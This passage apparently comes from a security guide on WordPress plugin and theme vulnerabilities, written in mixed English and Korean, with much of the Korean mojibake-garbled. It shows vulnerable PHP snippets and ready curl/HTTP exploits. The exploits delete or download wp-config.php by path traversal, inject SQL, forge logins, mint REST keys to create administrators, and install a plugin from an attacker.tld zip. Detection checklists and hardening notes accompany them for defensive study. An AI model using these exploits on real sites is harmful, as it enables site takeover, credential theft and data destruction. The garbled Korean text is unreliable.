- WordPress core๋ ์ด ๊ฒฝ๋ก์ ๋ํด
create_users๊ถํ์ ๊ธฐ๋ํ๋ค; ํ๋ฌ๊ทธ์ธ ์ฐํ๋ ํค๋์์ ์ง์ ํ์ฌ ์ฌ์ฉ์ ์ปจํ ์คํธ๋ฅผ ์ค์ ํ์ฌ ์ด๋ฅผ ์ฐํํ๋ค.
์ฑ๊ณต ์งํ (์์)
- ์์ฑ๋ ์ฌ์ฉ์๋ฅผ ์ค๋ช ํ๋ JSON ๋ณธ๋ฌธ๊ณผ ํจ๊ป HTTP 201 ์๋ต.
wp-admin/users.php์์ ๋ณด์ด๋ ์๋ก์ด ๊ด๋ฆฌ์ ์ฌ์ฉ์.
ํ์ง ์ฒดํฌ๋ฆฌ์คํธ
- ์ฌ์ฉ์ ์ปจํ
์คํธ๋ฅผ ์ค์ ํ๊ธฐ ์ํด ์ปค์คํ
ํค๋๋ฅผ ์ฝ๋
getallheaders(),$_SERVER['HTTP_...']๋๋ ๋ฒค๋ SDK๋ฅผ grep ํ๋ผ (์:wp_set_current_user(),wp_set_auth_cookie()). - ์์ฒญ ํค๋์ ์์กดํ๊ณ ์ถฉ๋ถํ
permission_callback๊ฒ์ฌ๊ฐ ์๋ ๊ถํ ์๋ ์ฝ๋ฐฑ์ ๋ํ REST ๋ฑ๋ก์ ๊ฒํ ํ๋ผ. - REST ํธ๋ค๋ฌ ๋ด๋ถ์์ ํค๋ ๊ฐ๋ง์ผ๋ก ์ ๊ทผ์ด ํต์ ๋๋ ํต์ฌ ์ฌ์ฉ์ ๊ด๋ฆฌ ํจ์(
wp_insert_user,wp_create_user) ์ฌ์ฉ์ ์ฐพ์๋ผ.
Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
WordPress ํ
๋ง์ ํ๋ฌ๊ทธ์ธ์ wp_ajax_ ๋ฐ wp_ajax_nopriv_ ํ
์ ํตํด AJAX ํธ๋ค๋ฌ๋ฅผ ์์ฃผ ๋
ธ์ถ์ํจ๋ค. nopriv ๋ณํ์ด ์ฌ์ฉ๋๋ฉด ์ฝ๋ฐฑ์ด ์ธ์ฆ๋์ง ์์ ๋ฐฉ๋ฌธ์๋ ์ ๊ทผ ๊ฐ๋ฅํด์ง๋ค, ๋ฐ๋ผ์ ๋ฏผ๊ฐํ ๋์์ ์ถ๊ฐ๋ก ๋ค์์ ๊ตฌํํด์ผ ํ๋ค:
- A capability check (e.g.
current_user_can()or at leastis_user_logged_in()), and - A CSRF nonce validated with
check_ajax_referer()/wp_verify_nonce(), and - Strict input sanitisation / validation.
Litho ๋ฉํฐํผํฌ์ค ํ ๋ง (< 3.1)๋ Remove Font Family ๊ธฐ๋ฅ์์ ์ด 3๊ฐ์ง ํต์ ๋ฅผ ์์ด ์๋์ ๊ฐ์ ์ฝ๋๋ฅผ ๋ฐฐํฌํ๋ค (๋จ์ํ๋จ):
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();
if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
Issues introduced by this snippet:
- Unauthenticated access โ the
wp_ajax_nopriv_hook is registered. - No nonce / capability check โ ์ด๋ค ๋ฐฉ๋ฌธ์๋ ์๋ํฌ์ธํธ์ ์ ๊ทผํ ์ ์์ต๋๋ค.
- No path sanitisation โ ์ฌ์ฉ์ ์ ์ด
fontfamily๋ฌธ์์ด์ด ํํฐ๋ง ์์ด ํ์ผ ์์คํ ๊ฒฝ๋ก์ ์ฐ๊ฒฐ๋์ด ๊ณ ์ ์ ์ธ../../traversal์ ํ์ฉํฉ๋๋ค.
Exploitation
๊ณต๊ฒฉ์๋ ๋จ์ผ HTTP POST request๋ฅผ ๋ณด๋ด below the uploads base directory (๋ณดํต <wp-root>/wp-content/uploads/)์ ์๋ ์ด๋ค ํ์ผ์ด๋ ๋๋ ํฐ๋ฆฌ๋ผ๋ ์ญ์ ํ ์ ์์ต๋๋ค:
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
Because wp-config.php lives outside uploads, four ../ sequences are enough on a default installation. Deleting wp-config.php forces WordPress into the ์ค์น ๋ง๋ฒ์ฌ on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).
Other impactful targets include plugin/theme .php files (to break security plugins) or .htaccess rules.
ํ์ง ์ฒดํฌ๋ฆฌ์คํธ
- Any
add_action( 'wp_ajax_nopriv_...')callback that calls filesystem helpers (copy(),unlink(),$wp_filesystem->delete(), etc.). - ๊ฒฝ๋ก์ ๋น๊ฒ์ฆ ์ฌ์ฉ์ ์
๋ ฅ์ ์ด์ด๋ถ์ด๋ ๊ฒฝ์ฐ(
$_POST,$_GET,$_REQUESTํ์ธ). check_ajax_referer()๋ฐcurrent_user_can()/is_user_logged_in()์ ๋ถ์ฌ.
Privilege escalation via stale role restoration and missing authorization (ASE โView Admin as Roleโ)
Many plugins implement a โview as roleโ or temporary role-switching feature by saving the original role(s) in user meta so they can be restored later. If the restoration path relies only on request parameters (e.g., $_REQUEST['reset-for']) and a plugin-maintained list without checking capabilities and a valid nonce, this becomes a vertical privilege escalation.
A real-world example was found in the Admin and Site Enhancements (ASE) plugin (โค 7.6.2.1). The reset branch restored roles based on reset-for=<username> if the username appeared in an internal array $options['viewing_admin_as_role_are'], but performed neither a current_user_can() check nor a nonce verification before removing current roles and re-adding the saved roles from user meta _asenha_view_admin_as_original_roles:
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];
if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
์ ์ด ์ทจ์ฝ์ ์ด ์ ์ฉ ๊ฐ๋ฅํ๊ฐ
$_REQUEST['reset-for']์ ํ๋ฌ๊ทธ์ธ ์ต์ ์ server-side authorization ์์ด ์ ๋ขฐํจ._asenha_view_admin_as_original_roles์ ์ด์ ์ ๋ ๋์ ๊ถํ์ด ์ ์ฅ๋์ด ์์๊ณ ์ฌ์ฉ์๊ฐ ํํฅ ์กฐ์ ๋ ๊ฒฝ์ฐ, reset ๊ฒฝ๋ก๋ฅผ ํธ์ถํ์ฌ ํด๋น ๊ถํ์ ๋ณต์ํ ์ ์์.- ์ผ๋ถ ๋ฐฐํฌ ํ๊ฒฝ์์๋, any authenticated user๊ฐ
viewing_admin_as_role_are์ ์ฌ์ ํ ์กด์ฌํ๋ ๋ค๋ฅธ username์ ๋ํ reset์ ํธ๋ฆฌ๊ฑฐํ ์ ์์ (๊ถํ ๊ฒ์ฆ ์คํจ).
Exploitation (example)
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
์ทจ์ฝํ ๋น๋์์๋ ์ด ๋์์ด ํ์ฌ ์ญํ ์ ์ ๊ฑฐํ๊ณ ์ ์ฅ๋ ์๋ ์ญํ (์: administrator)์ ๋ค์ ์ถ๊ฐํ์ฌ ์ค์ง์ ์ผ๋ก ๊ถํ์ ์์น์ํต๋๋ค.
Detection checklist
- ์ฌ์ฉ์ ๋ฉํ์ โoriginal rolesโ๋ฅผ ์ ์ฅํ๋ ์ญํ ์ ํ ๊ธฐ๋ฅ(์:
_asenha_view_admin_as_original_roles)์ ์ฐพ์ผ์ธ์. - ๋ค์๊ณผ ๊ฐ์ ๋ฆฌ์
/๋ณต์ ๊ฒฝ๋ก๋ฅผ ์๋ณํ์ธ์:
- ์ฌ์ฉ์ ์ด๋ฆ์
$_REQUEST/$_GET/$_POST์์ ์ฝ์ต๋๋ค. current_user_can()๋ฐwp_verify_nonce()/check_admin_referer()์์ดadd_role()/remove_role()๋ก ์ญํ ์ ์์ ํฉ๋๋ค.- ํ์์์ ๊ถํ(capabilities) ๋์ ํ๋ฌ๊ทธ์ธ ์ต์
๋ฐฐ์ด(์:
viewing_admin_as_role_are)์ ๊ธฐ๋ฐํด ๊ถํ์ ๋ถ์ฌํฉ๋๋ค.
- ์ฌ์ฉ์ ์ด๋ฆ์
๊ณต๊ฐ init์์ ์ฟ ํค ๊ธฐ๋ฐ ์ ๋ขฐ ์ฌ์ฉ์ ์ ํ์ ํตํ ์ธ์ฆ๋์ง ์์ ๊ถํ ์์น (Service Finder โsf-bookingโ)
์ผ๋ถ ํ๋ฌ๊ทธ์ธ์ ์ฌ์ฉ์ ์ ํ ํฌํผ๋ฅผ ๊ณต๊ฐ init ํ
์ ์ฐ๊ฒฐํ๊ณ ํด๋ผ์ด์ธํธ๊ฐ ์ ์ดํ๋ ์ฟ ํค์์ ์ ์์ ์ ๋ํฉ๋๋ค. ์ฝ๋๊ฐ ์ธ์ฆ, ๊ถํ(capability) ๋ฐ ์ ํจํ nonce๋ฅผ ๊ฒ์ฆํ์ง ์๊ณ wp_set_auth_cookie()๋ฅผ ํธ์ถํ๋ฉด, ์ด๋ค ์ธ์ฆ๋์ง ์์ ๋ฐฉ๋ฌธ์๋ ์์์ ์ฌ์ฉ์ ID๋ก ๊ฐ์ ๋ก๊ทธ์ธํ ์ ์์ต๋๋ค.
Typical vulnerable pattern (simplified from Service Finder Bookings โค 6.1):
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');
function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid); // ๐ฅ sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}
์ ์ทจ์ฝํ๊ฐ
- ๊ณต๊ฐ๋
inithook์ผ๋ก ์ธํด ํธ๋ค๋ฌ๊ฐ ์ธ์ฆ๋์ง ์์ ์ฌ์ฉ์๋ ์ ๊ทผ ๊ฐ๋ฅํจ(is_user_logged_in()๊ฐ๋ ์์). - ์๋ณ ์ ๋ณด๋ ํด๋ผ์ด์ธํธ๊ฐ ์์ ๊ฐ๋ฅํ ์ฟ ํค(
original_user_id)์์ ์ ๋ํจ. - ์ง์ ์ ์ธ
wp_set_auth_cookie($uid)ํธ์ถ์ ๊ถํ/nonce ๊ฒ์ฌ ์์ด ์์ฒญ์๋ฅผ ํด๋น ์ฌ์ฉ์๋ก ๋ก๊ทธ์ธ์ํด.
Exploitation (unauthenticated)
GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close
WAF considerations for WordPress/plugin CVEs
์ผ๋ฐ์ ์ธ edge/server WAF๋ ๋์ ํจํด(SQLi, XSS, LFI)์ ๋ง์ถฐ ์กฐ์ ๋ฉ๋๋ค. ๋ง์ ๊ณ ์ํฅ WordPress/plugin ๊ฒฐํจ์ ์ ํ๋ฆฌ์ผ์ด์ ํน์ ์ ๋ก์ง/์ธ์ฆ ๋ฒ๊ทธ๋ก, ์์ง์ด WordPress ๋ผ์ฐํธ์ plugin ์๋ฏธ๋ก ์ ์ดํดํ์ง ๋ชปํ๋ฉด ์ ์ ํธ๋ํฝ์ฒ๋ผ ๋ณด์ ๋๋ค.
Offensive notes
- Target plugin-specific endpoints with clean payloads:
admin-ajax.php?action=...,wp-json/<namespace>/<route>, custom file handlers, shortcodes. - Exercise unauth paths first (AJAX
nopriv, REST with permissivepermission_callback, public shortcodes). Default payloads often succeed without obfuscation. - Typical high-impact cases: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
Defensive notes
- Donโt rely on generic WAF signatures to protect plugin CVEs. Implement application-layer, vulnerability-specific virtual patches or update quickly.
- Prefer positive-security checks in code (capabilities, nonces, strict input validation) over negative regex filters.
WordPress Protection
Regular Updates
WordPress, plugins, and themes๊ฐ ์ต์ ์ธ์ง ํ์ธํ์ธ์. ๋ํ ์๋ ์ ๋ฐ์ดํธ๊ฐ wp-config.php์ ํ์ฑํ๋์ด ์๋์ง ํ์ธํ์ธ์:
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
๋ํ, ์ ๋ขฐํ ์ ์๋ WordPress ํ๋ฌ๊ทธ์ธ๊ณผ ํ ๋ง๋ง ์ค์นํ์ธ์.
๋ณด์ ํ๋ฌ๊ทธ์ธ
๊ธฐํ ๊ถ์ฅ์ฌํญ
- ๊ธฐ๋ณธ admin ์ฌ์ฉ์ ์ ๊ฑฐ
- ๊ฐ๋ ฅํ ๋น๋ฐ๋ฒํธ์ 2FA ์ฌ์ฉ
- ์ฃผ๊ธฐ์ ์ผ๋ก ์ฌ์ฉ์ ๊ถํ์ ๊ฒํ
- ๋ก๊ทธ์ธ ์๋ ์ ํ์ผ๋ก Brute Force ๊ณต๊ฒฉ ๋ฐฉ์ง
wp-admin.phpํ์ผ ์ด๋ฆ์ ๋ณ๊ฒฝํ๊ณ ๋ด๋ถ ๋๋ ํน์ IP์์๋ง ์ ๊ทผ ํ์ฉ
์ธ์ฆ๋์ง ์์ SQL Injection (๊ฒ์ฆ ๋ถ์กฑ) (WP Job Portal <= 2.3.2)
WP Job Portal recruitment ํ๋ฌ๊ทธ์ธ์ savecategory ์์
์ ๋
ธ์ถ์์ผฐ๊ณ , ์ด๋ ๊ฒฐ๊ตญ modules/category/model.php::validateFormData() ๋ด๋ถ์์ ๋ค์์ ์ทจ์ฝํ ์ฝ๋๋ฅผ ์คํํฉ๋๋ค:
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category "; // <-- direct concat โ
}
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
Issues introduced by this snippet:
- Unsanitised user input โ
parentid๊ฐ HTTP ์์ฒญ์์ ๊ทธ๋๋ก ๋ค์ด์ต๋๋ค. - String concatenation inside the WHERE clause โ
is_numeric()/esc_sql()/ prepared statement ์์. - Unauthenticated reachability โ ํด๋น ์ก์
์
admin-post.php๋ฅผ ํตํด ์คํ๋์ง๋ง, ์ ์ผํ ์ฒดํฌ๋ ๋๊ตฌ๋ ๊ณต๊ฐ ํ์ด์ง์์ ์์ฝ๋[wpjobportal_my_resumes]๋ฅผ ํตํด ๊ฐ์ ธ์ฌ ์ ์๋ CSRF nonce (wp_verify_nonce())๋ฟ์ ๋๋ค.
์ ์ฉ
- ์ nonce ํ๋ณด:
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
parentid๋ฅผ ์ ์ฉํด ์์์ SQL ์ฃผ์ :
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
์๋ต์ ์ฃผ์ ๋ ์ฟผ๋ฆฌ์ ๊ฒฐ๊ณผ๋ฅผ ๋ ธ์ถํ๊ฑฐ๋ ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ฅผ ๋ณ๊ฒฝํ์ฌ SQLi๋ฅผ ์ ์ฆํฉ๋๋ค.
Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
๋ค๋ฅธ ์์
์ธ downloadcustomfile์ path traversal์ ํตํด ๋ฐฉ๋ฌธ์๊ฐ ๋์คํฌ์ ๋ชจ๋ ํ์ผ์ ๋ค์ด๋ก๋ํ ์ ์๊ฒ ํ์ฉํ์ต๋๋ค. ์ทจ์ฝํ sink๋ modules/customfield/model.php::downloadCustomUploadedFile()์ ์์นํฉ๋๋ค:
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
$file_name์ ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ฉฐ ๊ฒ์ฆ ์์ด ์ฐ๊ฒฐ๋ฉ๋๋ค. ๋ค์, ์ ์ผํ ๊ด๋ฌธ์ ์ด๋ ฅ์ ํ์ด์ง์์ ๊ฐ์ ธ์ฌ ์ ์๋ CSRF nonce์
๋๋ค.
Exploitation
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
The server responds with the contents of wp-config.php, leaking DB credentials and auth keys.
Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)์ ํตํ ์ธ์ฆ๋์ง ์์ ๊ณ์ ํ์ทจ
๋ง์ ํ ๋ง/ํ๋ฌ๊ทธ์ธ์ admin-ajax.php๋ฅผ ํตํด ๋ ธ์ถ๋๋ โsocial loginโ ํฌํผ๋ฅผ ํฌํจํฉ๋๋ค. ๋ง์ฝ unauthenticated AJAX action (wp_ajax_nopriv_โฆ)์ด provider ๋ฐ์ดํฐ๊ฐ ์์ ๋ ํด๋ผ์ด์ธํธ๊ฐ ์ ๊ณตํ ์๋ณ์๋ฅผ ์ ๋ขฐํ๊ณ wp_set_auth_cookie()๋ฅผ ํธ์ถํ๋ฉด, ์ด๋ ์์ ํ ์ธ์ฆ ์ฐํ๊ฐ ๋ฉ๋๋ค.
Typical flawed pattern (simplified)
public function check_login() {
// ... request parsing ...
switch ($_POST['using']) {
case 'fb': /* set $user_email from verified Facebook token */ break;
case 'google': /* set $user_email from verified Google token */ break;
// other providers ...
default: /* unsupported/missing provider โ execution continues */ break;
}
// FALLBACK: trust POSTed "id" as email if provider data missing
$user_email = !empty($user_email)
? $user_email
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');
if (empty($user_email)) {
wp_send_json(['status' => 'not_user']);
}
$user = get_user_by('email', $user_email);
if ($user) {
wp_set_auth_cookie($user->ID, true); // ๐ฅ logs requester in as that user
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
}
wp_send_json(['status' => 'not_user']);
}
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);
Why itโs exploitable
- ์ธ์ฆ ์์ด ์ ๊ทผ ๊ฐ๋ฅ via admin-ajax.php (wp_ajax_nopriv_โฆ action).
- ์ํ ๋ณ๊ฒฝ ์ ์ nonce/capability checks ์์.
- Missing OAuth/OpenID provider verification; ๊ธฐ๋ณธ ๋ถ๊ธฐ(default branch)๊ฐ ๊ณต๊ฒฉ์ ์ ๋ ฅ์ ์์ฉํจ.
- get_user_by(โemailโ, $_POST[โidโ]) ์ดํ wp_set_auth_cookie($uid)๊ฐ ํธ์ถ๋์ด ์์ฒญ์๋ฅผ ์์์ ๊ธฐ์กด ์ด๋ฉ์ผ ์ฃผ์๋ก ์ธ์ฆํจ.
Exploitation (unauthenticated)
- Prerequisites: ๊ณต๊ฒฉ์๊ฐ /wp-admin/admin-ajax.php์ ์ ๊ทผํ ์ ์๊ณ ์ ํจํ ์ฌ์ฉ์ ์ด๋ฉ์ผ์ ์๊ณ ์๊ฑฐ๋ ์ถ์ธกํ ์ ์์.
- provider๋ฅผ ์ง์๋์ง ์๋ ๊ฐ์ผ๋ก ์ค์ (๋๋ ์๋ต)ํ์ฌ default branch๋ฅผ ํ๊ณ id=<victim_email>๋ฅผ ์ ๋ฌ.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Content-Type: application/x-www-form-urlencoded
action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"
Expected success indicators
- HTTP 200 with JSON body like {โstatusโ:โsuccessโ,โmessageโ:โLogin successfully.โ}.
- Set-Cookie: wordpress_logged_in_* for the victim user; subsequent requests are authenticated.
Finding the action name
- Inspect the theme/plugin for add_action(โwp_ajax_nopriv_โฆโ, โโฆโ) registrations in social login code (e.g., framework/add-ons/social-login/class-social-login.php).
- Grep for wp_set_auth_cookie(), get_user_by(โemailโ, โฆ) inside AJAX handlers.
Detection checklist
- Web logs showing unauthenticated POSTs to /wp-admin/admin-ajax.php with the social-login action and id=
. - 200 responses with the success JSON immediately preceding authenticated traffic from the same IP/User-Agent.
Hardening
- ํด๋ผ์ด์ธํธ ์ ๋ ฅ์์ ์ ์์ ์ ์ถํ์ง ๋ง์ธ์. ๊ฒ์ฆ๋ provider token/ID์์ ์ ๋ํ ์ด๋ฉ์ผ/ID๋ง ํ์ฉํ์ธ์.
- ๋ก๊ทธ์ธ ๋ณด์กฐ ๊ธฐ๋ฅ์๋ CSRF nonces์ capability ์ฒดํฌ๋ฅผ ์๊ตฌํ์ธ์; ํ์ํ์ง ์๋ค๋ฉด wp_ajax_nopriv_ ๋ฑ๋ก์ ํผํ์ธ์.
- OAuth/OIDC ์๋ต์ ์๋ฒ ์ธก์์ ๊ฒ์ฆํ์ธ์; ๋๋ฝ๋๊ฑฐ๋ ์ ํจํ์ง ์์ provider๋ ๊ฑฐ๋ถํ์ธ์(POST id๋ก ํด๋ฐฑํ์ง ๋ง์ธ์).
- ์์ ๋ ๋๊น์ง social login์ ์ผ์์ ์ผ๋ก ๋นํ์ฑํํ๊ฑฐ๋ ์ฃ์ง์์ ์ทจ์ฝํ action์ ์ฐจ๋จํ๋ ๋ฐฉ์์ผ๋ก ๊ฐ์ ํจ์น ์ ์ฉ์ ๊ณ ๋ คํ์ธ์.
Patched behaviour (Jobmonster 4.8.0)
- $_POST[โidโ]์ ๋ถ์์ ํ ํด๋ฐฑ์ ์ ๊ฑฐํจ; $user_email์ switch($_POST[โusingโ])์ ๊ฒ์ฆ๋ provider ๋ถ๊ธฐ์์ ์ ๋ํด์ผ ํจ.
Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers โค 1.0.82)
์ผ๋ถ ํ๋ฌ๊ทธ์ธ์ ํธ์ถ์์ ๊ถํ์ ๊ฒ์ฆํ์ง ์๊ณ ์ฌ์ฌ์ฉ ๊ฐ๋ฅํ โconnection keysโ ๋๋ ํ ํฐ์ ๋ฐ๊ธ(mint)ํ๋ REST ์๋ํฌ์ธํธ๋ฅผ ๋ ธ์ถํฉ๋๋ค. ๋ผ์ฐํธ๊ฐ ์ถ์ธก ๊ฐ๋ฅํ ์์ฑ(e.g., username)๋ง์ผ๋ก ์ธ์ฆํ๊ณ ํค๋ฅผ ๊ถํ ์ฒดํฌ๊ฐ ์๋ ์ฌ์ฉ์/์ธ์ ์ ๋ฐ์ธ๋ฉํ์ง ์์ผ๋ฉด, ์ธ์ฆ๋์ง ์์ ๊ณต๊ฒฉ์๊ฐ ํค๋ฅผ ๋ฐ๊ธ๋ฐ์ ๊ถํ์ด ํ์ํ ๋์(admin ๊ณ์ ์์ฑ, plugin ๋์ โ RCE)์ ํธ์ถํ ์ ์์ต๋๋ค.
- Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
- Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
- Impact: full takeover by chaining the minted key to internal privileged actions
PoC โ mint a connection key and use it
# 1) Obtain key (unauthenticated). Exact payload varies per plugin
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
-H 'Content-Type: application/json' \
--data '{"username":"admin"}'
# โ {"key":"<conn_key>", ...}
# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
-H 'Content-Type: application/json' \
-H 'X-Connection-Key: <conn_key>' \
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'
Why itโs exploitable
- ๋ฏผ๊ฐํ REST ๊ฒฝ๋ก๊ฐ ๋ฎ์ ์ํธ๋กํผ์ ์ ์ ์ฆ๋ช (username) ๋ง์ผ๋ก ๋ณดํธ๋๊ฑฐ๋ permission_callback์ด ๋๋ฝ๋์ด ์์
- capability ๊ฒ์ฆ์ด ์์ด ๋ฐ๊ธ๋ ํค๊ฐ ๋ฒ์ฉ ์ฐํ๋ก๋ก ๋ฐ์๋ค์ฌ์ง
Detection checklist
- Grep plugin code for register_rest_route(โฆ, [ โpermission_callbackโ => โ__return_trueโ ])
- ์์ฒญ์ผ๋ก ์ ๊ณต๋ ์ ์(username/email)์ ๊ธฐ๋ฐํด tokens/keys๋ฅผ ๋ฐ๊ธํ์ง๋ง ์ธ์ฆ๋ ์ฌ์ฉ์๋ capability์ ๋ฌถ์ง ์๋ ๋ชจ๋ ๊ฒฝ๋ก
- ์๋ฒ ์ธก capability ๊ฒ์ฆ ์์ด ๋ฐ๊ธ๋ token/key๋ฅผ ๋ฐ์๋ค์ด๋ ํ์ ๊ฒฝ๋ก๋ฅผ ์ฐพ์๋ผ
Hardening
- ๊ถํ์ด ํ์ํ REST ๊ฒฝ๋ก์๋ ํด๋น capability์ ๋ํด current_user_can()์ ๊ฐ์ ํ๋ permission_callback์ ์๊ตฌํ๋ผ
- ํด๋ผ์ด์ธํธ๊ฐ ์ ๊ณตํ ์ ์์ผ๋ก ์ฅ๊ธฐ ์ ํจ ํค๋ฅผ ๋ฐ๊ธํ์ง ๋ง ๊ฒ; ํ์ํ๋ฉด ์ธ์ฆ ํ ๋จ๊ธฐ, ์ฌ์ฉ์ ๋ฐ์ธ๋๋ ํ ํฐ์ ๋ฐ๊ธํ๊ณ ์ฌ์ฉ ์ capability๋ฅผ ์ฌ๊ฒ์ฆํ๋ผ
- ํธ์ถ์์ ์ฌ์ฉ์ ์ปจํ
์คํธ๋ฅผ ๊ฒ์ฆํ๋ผ (wp_set_current_user๋ ๋จ๋
์ผ๋ก ์ถฉ๋ถํ์ง ์์) ๋ฐ !is_user_logged_in() || !current_user_can(
) ์ธ ๊ฒฝ์ฐ ์์ฒญ์ ๊ฑฐ๋ถํ๋ผ
Nonce gate misuse โ unauthenticated arbitrary plugin installation (FunnelKit Automations โค 3.5.3)
Nonces๋ CSRF๋ฅผ ๋ฐฉ์งํ ๋ฟ ๊ถํ ๋ถ์ฌ(authorization)๋ฅผ ๋์ ํ์ง ๋ชปํ๋ค. ์ฝ๋๊ฐ nonce ํต๊ณผ๋ฅผ ํ๊ฐ ์ ํธ๋ก ๋ณด๊ณ install/activate plugins ๊ฐ์ ๊ถํ ์์ ์์ capability ๊ฒ์ฌ๋ฅผ ๊ฑด๋๋ด๋ค๋ฉด, ์ธ์ฆ๋์ง ์์ ๊ณต๊ฒฉ์๋ ์ฝํ nonce ์๊ตฌ์ฌํญ์ ์ถฉ์กฑ์์ผ ๋ฐฑ๋์ด๊ฐ ์ฌ๊ธด ๋๋ ์ทจ์ฝํ ํ๋ฌ๊ทธ์ธ์ ์ค์นํจ์ผ๋ก์จ RCE์ ๋๋ฌํ ์ ์๋ค.
- Vulnerable path: plugin/install_and_activate
- Flaw: weak nonce hash check; no current_user_can(โinstall_pluginsโ|โactivate_pluginsโ) once nonce โpassesโ
- Impact: full compromise via arbitrary plugin install/activation
PoC (shape depends on plugin; illustrative only)
curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
-H 'Content-Type: application/json' \
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'
Detection checklist
- REST/AJAX handlers that modify plugins/themes with only wp_verify_nonce()/check_admin_referer() and no capability check
- Any code path that sets $skip_caps = true after nonce validation
Hardening
- ํญ์ nonces๋ฅผ CSRF ํ ํฐ์ผ๋ก๋ง ์ทจ๊ธํ์ธ์; nonce ์ํ์ ๊ด๊ณ์์ด ๊ถํ ๊ฒ์ฌ๋ฅผ ๊ฐ์ ํ์ธ์
- installer code์ ๋๋ฌํ๊ธฐ ์ ์ current_user_can(โinstall_pluginsโ) ๋ฐ current_user_can(โactivate_pluginsโ)๋ฅผ ์๊ตฌํ์ธ์
- ์ธ์ฆ๋์ง ์์ ์ ๊ทผ์ ๊ฑฐ๋ถํ์ธ์; ๊ถํ์ด ํ์ํ ํ๋ฆ์ ๋ํด nopriv AJAX actions๋ฅผ ๋ ธ์ถํ์ง ๋ง์ธ์
Subscriber+ AJAX plugin installer โ forced malicious activation (Motors Theme โค 5.6.81)
